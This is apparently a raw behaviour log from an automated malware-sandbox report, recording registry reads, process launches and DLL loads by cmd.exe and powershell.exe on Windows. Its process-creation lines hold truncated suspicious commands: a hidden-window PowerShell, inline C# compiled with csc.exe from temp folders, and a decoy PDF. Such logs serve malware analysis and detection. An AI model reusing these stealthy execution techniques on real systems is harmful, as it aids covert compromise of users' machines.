"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-889897577 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-890104291 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-890292399 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll" at 00000000-00008260-00000C15-890347139 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00008260-00000C15-890376323 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-890431318 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-8905040142f:T8c4,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")30:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")31:T6e6,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c dir %WINDIR%\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od" - (UID: 00000000-00005204) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropSer" - (UID: 00000000-00005204), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\3gli4njl\3gli4n" - (UID: 00000000-00008260) "powershell.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Adobe\Reader 11.0\Reader\AcroRd32.exe" "C:\.pdf"" - (UID: 00000000-00008260) "powershell.exe" called "CreateProcessW" with parameter ""%PUBLIC%\" - (UID: 00000000-00008260), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "%PUBLIC%\publi" - (UID: 00000000-00000244) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\x0ckcpo4\x0ckcp" - (UID: 00000000-00004464), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\3voxxt4g\3voxxt" - (UID: 00000000-00004464) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\c2iwyi10\c2iwyi" - (UID: 00000000-00004464), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\vppfuper\vppfup" - (UID: 00000000-00004464)32:T5a1f,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005204) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005204) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005204) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005204) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005920) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005920) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005920) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008260) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008260) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000244) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000244) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000244) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter 